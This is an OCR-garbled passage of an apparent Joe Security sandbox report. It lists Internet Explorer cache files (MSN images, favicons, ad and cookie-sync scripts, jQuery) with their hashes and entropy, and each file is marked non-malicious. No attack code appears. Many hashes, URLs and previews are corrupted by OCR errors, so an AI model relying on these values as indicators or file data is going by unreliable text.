JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

15474

7.9513275894861355

false

384:eeb/Z3qrt/VuV8mfg5Pap9FdQqcndg713SHIygs:eeb/Z3qUyEgQvLdsiHRgs

40A697D70729026ECDBIOB5AFCA234435

93CFF6024FC670431DC041C2620DEEEO05B14A38
88CB71D66E9C15580D02416D5537AE6847308DDD4E302C8008510D8ED7BFB191
595B1BD4CC10D6A81EF280A359C058C7729A60E6C552304CFE84D65CB998213EC57BIDB433BD0026862C5C1CAE419FD968B3338CDF918A5DD7F9339089BC15
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1epRY T.img?h=333&w=311&m=6&0q=60&u=t&0=t&|=f&f=jpg&x=765&y=293

...... JFIF. iCoocceeees o )10.)-,3:0>36F 7 -@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000. ... M.7.." oo b J1A.QaG.2.. #B. R.$3Dr....... %&()*456789:CDEFGHIJSTUVWXYZcdefgh
ijstuvwxyz &'()*56789:CDEFGHIJSTUVWXY

chefghijstuvwxyz . . .E.G.v.V.u$.e..G...3..6dQ.G..z.d[....F.z
"8 =....@R]U...p6.h..z. . Km..... ?-....zHC.w...{z.T..~i..Lj.1l.ca. ...Z'[.p.7g.th.i...g!p.l...b5.w.jL.LE=...
%br A1.9..\K].by$s.Tql-.(.J.

.)..F..o.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1epY8W[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

25178

7.946664717988379

false

768:7uXVbbrNQG646HLfhilemMn/Eu3u7UMHNNWg:76bbr+G6dli/NgnoUMHNI

CEA0C75242171F98F8277EFBFEEA0807

AD11642B99EODOE45C518850809DB2CF7EEBC158
75F05D1A1840356882FA8172E1D49D67201D5ABFB831A4099A8CD3B8F75E518A

EC3D362AB5C3354B0D6C9FC59720A10C1C1396B4822DC187CCDIDES1A4C6F68E0SCDE91F26EEC131EBOEO43EC54979CEEF74E44217A05F6EC6F0690AF37A4:
F1

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1lepY8W.img?h=368&w=6228&m=6&q=60&u=t&0=t&I=f&f=jpg&x=602&y=345

&' ()*56789.CDEFGHIJSTUVWXYchefghus
gw..yRA.S ...... C@...>...VSV.O....... H...1.0.-V..p7..k..."....2...m..k/L.k

TS@

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1epm9q[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

7863

7.929752935566595

false

192:BC8LUzhQULZt60OVTQOH+H4j9VHIQpsI/KNAtFEF+DFAEUBPs9:k8LuUyUIt6OO0dY 3HIXISOlg+m1M
OF41F3E9BA8B06063313BF1BC202FE8D

3AB4B3DEF4B0C7C5547E13DBD70C71EB95A3104F
A75B8EDOF2A49626231FA2B7382EFE69A4896FBDCFC2681BDDD52292D3879262

D71F44EBB1EDD4F4DACFB01BF4A262F9BA670AB425D43D48465510E2F5F3F61442A790C7C27661F76F836CEBEOSASCBDAOBASCOFOEEB332D78988696363C41!
E
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1epm9q[1].jpg
Malicious: false
|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1lepm9q.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg&x=456 &y=185

Preview:

)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&.&05-500000000000000000000000000000000
000000000000000000........... L b J1A.QaG 2. #B. R..$3DT........ %8/ ()456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
............. W......11..AQ.aq."2...B.... #3R..br...$4.%. .. & ()*56789:CDEFGHIJSTUVWXY Zcdefghijs
+.5\8......0.W......e=.QI.W.CO.."....4.t..0...1.Z..X..+1..i9%q..q... \W..V..78..5..p00"...h.G.$..0x..
Gil.o. Mo OZT [ PDSiccsy W )3 X8 <V L Z W 5.1.9P.R.."..46...)\s...(....,P.AY9.0=.AQ_kwd..<I...

tUVWXYZ.
.Ze...eZzZ.T...... 1b.S.=
Lk~Ko L+ Y1y..g.. XL

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1lepqby[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
Category: downloaded

Size (bytes): 6553

Entropy (8bit): 7.912152306913787

Encrypted: false

SSDEEP: 192:BFDIfdjhrh62wG/8pLjkemDQpLpYLcpFo:vid9rh5Da/7YCFo

MDS5: EB9D7F7789FFC4EA16FD7D06B1C73BFA

SHA1L: 518D415BB691CD3B15600E20568EAAB27212B6F0

SHA-256: FAAA7016C997DB95D3B1BD95930C8C76812BED48521F75C98A62A0226A9FB17C

SHA-512: 7D12EE09BD073BE1975E08207D6202C024F91516BB851A2674D7ECEOB2A989A00D434A453D702109059EDE0605A337887349E9C834A70EB0279CACT763ACAF87E
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1lepgby.img?h=166&w=310&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:

)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&.&05-500000000000000000000000000000000
%8&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz

W 11.AQ.a0."2...B.... #3R..br...$4.%.....&'()*56 789:CDEFGHIJSTUVWXY Zcdefghis

tuvwxyz. +.n.jn;...N9..D.pL.T.D..m$}*?3.S..0.A.c.)$u... E...VN.w......i..*.s0.3.x.n..qK.;... T.y..3.m.L.
.. UT.. &.,.y.8.D...$.... ATL;..0. . A jL.V.@#.(..b..kb....a..1.m..E.".0.....)....5"......eq.N..,.ze..d...>G.b9..0lU5.m.i..Q.b.DU..[..y.,...zSf?.9.Eq..
..Q.0H.?1-b.Jm.s. .&K...D.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1epr61[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category: downloaded

Size (bytes): 1793

Entropy (8bit): 7.710637135848907

Encrypted: false

SSDEEP: 24:BI/XA00XXDULHEOWXG40Z7DAJuLHenX3ZdyAMTycrK4cW7MTmRy7rLgd30j0pH84:BGpuERASKXK/mRIrL6+G84

MDS5: 9355576473F1C03586BD310FE49DC3C6

SHA1L: 45D92C8CE018B069DDD098AD1970582D92D55AE3

SHA-256: 34ABD255D105128F3A034B6136332FE1FEFBBF54DC6F6F48695F531E0BC7ABAF

SHA-512: 1B71078D2D7F2C41C26A053DE55B73DA506736B966B68BF0785CF64687EDCE2EF67830DA61B153C72B8D8788F571518A1DCEEEEF1513909DBI9D49910FAF5858
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1epr61.img?h=75&w=100&m=6&q=60&u=t&o=t&I=f&f=jpg&x=697&y=153

Preview:
...... JFIF... 0 Criiis e )100)-,3:3>36F7,-@WAFLNRSR2>ZazP JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000......K.d.." }oJ1ALQag 2. #B..R..$3br........ %&'()*456789:CDEFGHIISTUVWXYZcdefgh
jjstuvwxyz.... Ww......!11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. &Lu#?w.K.Q...(9.N.ZrF.d.."VL'g=..K.2....S.\W.E?U..G.3.z.ryy..G.0.[." ..g.(W<1.....~...0.%.1.._
v.U...pc/r...YH.SKR.~.s.)... 2.Ey.iujF.RW..V"...ryY....rTA..- Aqt..\D...R..?A..[.4.6. #]X..03..=..[X.p......... 8G.3"....5.9..L1.UH.....8#..%....... S.ZL. h.@.. (2J.4#+.".....V.
bS. n+ Hx*Z.X.@......d.L"..8.a..+.s...N...*7.l..q

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1leq6gp[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: downloaded

Size (bytes): 12876

Entropy (8bit): 7.950615355000053

Encrypted: false

SSDEEP: 384:eRvQf5Fb42BhiHZVa7knOKCZdKQDSaTYoT4YAH:eRg47a7T210TcH

MDS5: 5BD4264A62D883E053FBF42BD23BIF79

SHAL: 89A0E350E132B6E945E16467EBLE79B350D4A650

SHA-256: 511F8DA2987FC7E5D072464CE4CA133514E0251867ADE6DBODOBODC13DDAGE26

SHA-512: 59859BF98E9449DC8250C28E042EB4B2CDD262F492954D837A3D948E04221C8463B09AC34A63A1C912766FESEEFB382045AE64334F74600617AC989976FC5917
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1eq6gp.img?h=333&w=311&m=6&0=60&u=t&o=t&I=f&f=jpg
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1leq6gp[1].jpg

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1eq7HE[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: downloaded

Size (bytes): 28997

Entropy (8bit): 7.960148521630449

Encrypted: false

SSDEEP: 768:75Hh1gw1DVvqlQX+foJB/F4j8CPeUazTMQg3g:79h1rvgbugJB/FiR6z TNt

MD5: DC106EA4AB43C74D1BFDFD1FC045D109

SHA1L: 1254C6F1B30283FA7B819170D55FD046FF3E2D50

SHA-256: D82B7CC2496A63831EEAAG6B266FA00AEOC87B6A3EFBBDB8179492D216D6A4777

SHA-512: 961162D1A6210EAO0F15428C9BEFB2B371E56F24EE95BDESS30EA4AE43AF578AEA2BD19626D6EBA5F3A66E31E2912D6F48F38CA3D7EA582348C48D8D46BA58FT
1

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1leq7HE.img?h=368&w=6228&m=6&q=60&u=t&o=t&I=f&f=jpg&x=486&y=164

Preview:
...... JFIF.... 0 Criis e )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
0000000000000 0000OO0 ... PN i § 11A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
W 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs

tuvwxyz. . J.@...Q.. #...;...&J... .h.E*.UpE#. L. {w.@>"..%..b...(""...G.F.M.IXI..E91.g.y..P..d.@
s veem .8..P.>SSHM'..d..q.@..H. .(...&..%.9y.=qB...3m9F.i..|...Q....0qC...Q.(.*..R.....).F.ri.(\v.]..w{........ 14)7....m..F.].m..@j.v.6qM..F..v.F.M.F.H....g4.....h....
.p...26.£7.@;h.h...)......Q.R.EIQM.I...TZ...&.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1leqbBZ[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 7528

Entropy (8bit): 7.93762599595074

Encrypted: false

SSDEEP: 192:BCb+ZPEc0Pj3CornCulxPGLpu5ugNVvho+Mc81HA3KH:kbl7XnC9elLpAu4Vpo+M3HGKH

MD5: 7EA13E47656C99B6950C6D063C00A919

SHA1L: 6FCADO7BB3A1AC2B36984396B96F620BADAF6525

SHA-256: 9A8B7D74D28CC546B8257286BD60E75E27DD1E12345199631885ED3456854308

SHA-512: AA9225EB42FAE7F4236AFFEEO00E2C9080654DA5A1ACC5DCFFC48A785AD57699E75236C375A5AFA47AD2FBF2CE2A063110FC4C5B80ES5040F742CAFAEG98CAE
EO

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1eqbBZ.img?h=250&w=206&m=6&0q=60&u=t&0=t&I=f&f=jpg

Preview:
...... JFIF.... 0 Criiis e )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
00000000000000000O0.. " }ooJ1ALQag 2. #B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXY Zcdefghijs
4..2.iW.@=..h.95./QS..v9.K.dU..j%.J.=.ZN@.cJ.[E.w...).5...8.t:
X A32.2 L {R#20 v L jx.....C.Ye.<a.U.'$. . #)....=.].3

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1eqbwb[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: downloaded

Size (bytes): 14640

Entropy (8bit): 7.787051000146304

Encrypted: false

SSDEEP: 384:7tEJQkIWRKI2vCCuMTpCXYd8uvufOy5Py8gm/cG2VMaXRai: 71d4RKI2qCZTpjd8uM1LyG2VMLi

MD5: E2DAOAFDB84726C8D9BB049805C333C1

SHA1L: 4CD9D23DOE36ED02EBE251800B00C2D16370E6F8

SHA-256: 8875B7C02EFC43C94A719B09E18AE069D41A054CFB2E25455893B6A528F38C29

SHA-512: 89A49F12951C8AD2245EF2F3B61C5157BB5C003CD1B22893AA0AE6B738DA1D4CC5C0C5C2B23D449587F64E9BEEA72980B2C10363AC227D08D2CC2EABAEFLF
49

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1eqbwb.img?h=368&w=622&m=6&q=60&u=t&0=t&I=f&f=jpg
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1eqbwb[1].jpg

Preview:

tUVWXYZ.
X.&...q.*ZDa. *M@yw.1..5..=.:....j....J.8.C.pj.>i..f.L..uB
4. 1\y.. X.X5.4.T.h.|[...yG.I..V.8RK;

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1leqdDK][1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: downloaded

Size (bytes): 14514

Entropy (8bit): 7.955564305378269

Encrypted: false

SSDEEP: 384:eSD5ekTj8pkahHLTePAIXLMHEXiHt+IVFulR7:eSYKT|8VhHLTupakxiHt+sW7

MDS5: 3780FAEOFE1749A092B9E9F069393EB9

SHA1L: 7CC4DFDAOF5D506F48146956EFC7685FF80ED022

SHA-256: 6D0B8976A62CA5A3C09413C810B6843025B3034AFFAELIE2FBIC260CE1EIFEOAG

SHA-512: A28071AB30D2CF95660A44D35DF91527ACFOF68DED27E0127765E4AC12900F38AFA38F0212CD18E75C509759DDD68D877C6172B48E3FIC775EESC1D5D129D6(
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1eqdDK.img?h=333&w=311&m=6&0=60&u=t&0=t&I=f&f=jpg

Preview:
...... JFIF..... . .Cuiie 22 )100)-,3:0>36F7,-@WAFLNRSR2>ZaZP  JQRO....C.......&..&05-500000000000000000000000000000000
000000000000 000000...... M.7.." } 11A..Qa."q.2...#B..R..$3br........ %8&'()*456789:CDEFGHIJSTUVWXYZcdefgh
TISTUVIWXYZ. vt en s w......11..AQ.aq."2...B.... #3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. ?.E...K{..L.+t+uj.N.lam.Oc.Hd...u?.HG...$}..q.Z.F.<o#C. .$(}+.|ei.l.8.+. . .F.F%
X..>..)i1Z....T0... pHS$..&@#...5nh..$X-. & CAULLE. Lt QIN e V(| )NS5 (2, Rji-&e=.  RYCNL K> L ALLjX.6.6.L...
|.._.T.QPO@N*.v7...D..qZ.0s..y0...FK....yp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB5kTiV[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 289

Entropy (8bit): 6.71059176367892

Encrypted: false

SSDEEP: 6:6v/IhPkR/CnFCPPAVI1E0IXO6Vq9eu7H1CnstfOPLAYVwmavnTp:6v/78/kFCPPWGKV(q77HksN2xSmavn9
MDS5: 10ADF331F5D133B42D542F39E2A1390E

SHA1L: DOEEAODEE8B46CB250E303BC1AA6CO1EDFEF590C

SHA-256: AD4808FAC10A5F71AAC3B93BBB0D29D575CEFF5609CEC3886C079F542F455D33

SHA-512: 7D93C192B7B055BC8CDB079A1D4F935A25A114986A592977A869EBOES941FC4E271263EF275325B5193E7D460810AD575CF1846141128BAB7D5425EA24E170C8
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB5kTiV.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png

Preview:

IDAT80..IN.".."..O[.t.U.XX..;".H\.S.A."Ui.. {&W@B.&0.G..p..W. 1....E.....s.\j_X.>C-.7&..".m..P<
*HC....8C....9.....sP.u.(.36]_]...D.G."zT.aJz" ......*e..._X.>9.C..Q....B....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBOLLM,j[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 507

Entropy (8bit): 7.140014669230146

Encrypted: false

SSDEEP: 12:6v/78/s0C6yG9YjUIWGS3Sw38Cztj2ChFblexnDizTGN:RCMnX3fxzhhgxn8 TGN

MDS5: 25D424F126A464CA028COCIBAG692ADA9

SHAL: E54F845D1099C8D7B7BA0C5E9B57DFA7163CE95C

SHA-256: EODF9CDAFF2557C7B555FFAED40B7E553FF6C50DD58FE79C27B3AA69CC56258D

SHA-512: 7E72F13B354AA5EE99EC50057DB2BFBC35A78D5617A36EDI0864D1DA6AC1B692301115EF8F44255AB3894142D6C0F634A2CFD44EBCDO0B039DC628F751579D¢
3

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBOLLMj.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBVuddh[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBVuddh[1].png

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 304

Entropy (8bit): 6.758580075536471

Encrypted: false

SSDEEP: 6:6v/IhPkR/ChmU5nXyNbWgaviGjZ/wtDi6XxI32inTvUI8zVp:6v/78/e5nXyNb4lueg32au/

MDS5: 245557014352A5F957F8BFDAB7A3E966

SHA1L: 9CD29E2AB07DC1FEF64B6946E1F03BCCOA73FC5C

SHA-256: 0A33B02F27EE6CD05147D81EDAD86A3184CCAF1979CB73AD67B2434C2A4A6379

SHA-512: 686345FD8667C09F905CA732DB98D0O7E1D72E7ECDIFD26A0C40FEEBE8985F8378E7B2CB8AE99C0O71043BCB661483DBFB905D46CE40C6BE70EEF78A2BCDEY4
05

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m=6&q=60&u=t&o=t&|=f&f=png

Preview:
.a...sRGB......... gAMA......a.....pHYs..
.,5+..].BP.5.>R....i0.0.7.|?....r\-Ca......IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\a8a064[1].gif

..... +.....IDAT80...P..3...v..0.}....."XD. 5.3, ....)...a-.............d.0.mSC.i..%.8%] }...m.$IOM..u.. ....9....

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: GIF image data, version 89a, 28 x 28

Category: downloaded

Size (bytes): 16360

Entropy (8bit): 7.019403238999426

Encrypted: false

SSDEEP: 384:92SEiHys4AeP/6ygbkUZp72i+ccys4AeP/6ygbhkUZaoGBm:g2Tjs4Ae36kOpgi+c/s4Ae36kOaoGm

MDS5: 3CC1C4952C8DC47B76BE62DCO76CE3EB

SHA1L: 65F5CE29BBC6EOCO7C6FECIBI6884E38A14A5979

SHA-256: 10E48837F429E208A5714D7290A44CD704DD08BF4690F1ABA93C318A30C802D9

SHA-512: 5CC1E6FIDACA9CEAB56BD2ECEEB7A523272A664FESEE4BBOADASAFI83BA98DBABECF3848390DF65DA929A954AC211FF87CE4DBFDC11F5DFOC6E3FEABAST
40EF7

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif

Preview:
GIF89a....... dbd...........
..Q
.B'%.di.h..l.p,t]S...
LEB. AN
Inl....... jl......dfd.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\checksync[1].htm

Ll T.%..@.UH..z.n.....L....... e dbd.............

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 20808

Entropy (8bit): 5.301682288370038

Encrypted: false

SSDEEP: 384:RWAGcVXlblcgnzleZSug2f5vzBgF30Z0eQWwY4RXrqt: S86ghbz2RmF30seQWwY4RXrqt

MD5: E22197088253B42F8521B197D81970A6

SHA1L: BOFOB44DFE24C297CE69DD6CFCDB487C44927FE9

SHA-256: E05058CA073FC2170E07DFBD4FC127D052D3C983CB1E703E497AFFBC51E4F1DB

SHA-512: BACO02445A7FCAQ07731177FAOFE8E5254C12CD39B8BD108698A5E126245D23F7A69B8D16FD2A493D1764DDBC42634E0972917D8E8CACF237C4FAODDE7AFABAA
E

Malicious: false

Preview:

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data
" "sepCs™:"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","

v","isBI":1,"g":0
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy"
ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\Vcslogger.

g’

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\checksync[2].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCI!I text, with very long lines

Category: dropped

Size (bytes): 20808

Entropy (8bit): 5.301682288370038

Encrypted: false

SSDEEP: 384:RWAGcVXlblcgnzleZSug2f5vzBgF30Z0eQWwY4RXrgt: S86ghbz2RmF30seQWwY4RXrqt

Copyright Joe Security LLC 2021

sepVal":"|","sepTime
,"cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name’ cookie":"data-
"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"

pb","dxu”,"rkt","trx","wds","crt","ayl","bs'
r,"ttd"],"bSize":2,"time":30000,"'ngGroups":[]},"log":{"succe

shr","lvr’

Y
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\checksync[2].htm

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

E22197088253B42F8521B197D81970A6
BOFOB44DFE24C297CE69DD6CFCDB487C44927FE9
E05058CAQ073FC2170E07DFBD4FC127D052D3C983CB1E703E497AFFBC51E4F1DB

BAC02445A7FCA07731177FAOFE8SE5S254C12CD39B8BD108698A5E126245D23F7A69B8D16FD2A493D1764DDBC42634E0972917D8E8SCACF237C4FAODDE7AFABAA
E

false
<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-

Vv","isBI":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"

0","batch™{"gGroups":["apx","csm","|

ppt* “rben” “son”, "bdt","con,"opx”, "tix","mmat g "pb" "dxu”,"rkt "trx" "wds” "crt” "ayl","bs
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp”,"vm","spx","nat","ob","adt","got","mf","emx"," r,"ttd"],"bSize":2,"time":30000,"'ngGroups":[]},"log":{

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:VVcslogger.

" el ys” "sov" b Tl g W

ui,"shr","lvr

Y
succe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\fcmain[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines, with no line terminators

downloaded

38206

5.073751476112733

false

768:qlav44u3hPPZW94hckR2Cy0SZMY XfOWOBEZn3SQN3GFI2950vI3y/ZIksFZT:0Q44uRpWmhnR/ylqY XfOwOBEZn3SQN33
48F71D6C8C0796DEAFD8C1C964AB27BA

C7867222C39C316F7B7DC39A958CD7183488EC3F
83D2DF937A58F56609E14A18C32601C5A93D32BCCC580B00E3C7D94F65314AD5

3C23CFF48515C661C78B28ED7D9BA05C5137E369E1F563AD30F7A03DFD18542CE10C28A5E64C2C24982C5F8F4666B1BFDA3CF886B9962E19ABDCA41A94309BE
A

false

hitp://https://contextual. media.net/803288796/fcmain.js?
&gdpr=0&cid=8CU157172&cpcd=pC3IHgSCqY8UHihgrvGroA%3D%3D&crid=8584122148&size=306x271&cc=CH&https=1&vif=2&requrl=https%3A%2F%2Fwww.msn.co
m%2Fde-ch%2F%3Focid%3Diehp&nse=5&vi=1615351982620757070&ugd=4&rtbs=1&nb=1&ch=window._mNDetails.initAd

;window._mNDetails.initAd({"vi":"1615351982620757070","s":{"_mNL2":{"size":"306x271","viComp":"1615350499940864612","hide AdUnitABP":true,"abpl
""3","custHt":"","setL.3100":"1"},"lhp":{"I2wsip":"2886780970","[2ac™:"","sethcsd":"set!C3|1599"},"_mNe":{"pid":"8PO8WH20T","requrl":"https://www.msn.com/de-ch/?
ocid=iehp#mnetcrid=858412214#"}," _md":[],"ac":{"content":"<!IDOCTYPE HTML PUBLIC \"-\WW3CWW/DTD HTML 4.01 TransitionalVWVEN\" \"http:\VWVwww.w3.org\/TRVhtm
14Vloose.dtd\">\r\n<html xmIns=\"http:V\/www.w3.0rg\/1999VxhtmI\">\r\n<head><meta http-equiv=\"x-dns-prefetch-control\" content=\"on\"><style type=\"text\/css\">body{b
ackground-color: transparent;}<\/style><meta name=\"tids\" content=\"a='800072941' b="803767816' c="msn.com' d="entity type'\" \/><script type=\"text\/javascript\">try{wi
ndow.locHash = (parent._mNDetails && parent._mNDetails.getLocHash && parent._mNDetails.getLocHash(\"858412214\" \"1615351982620757070\")) || (parent._
mNDetails|\"locHash\"] && pare

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\jquery-2.1.1.min[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

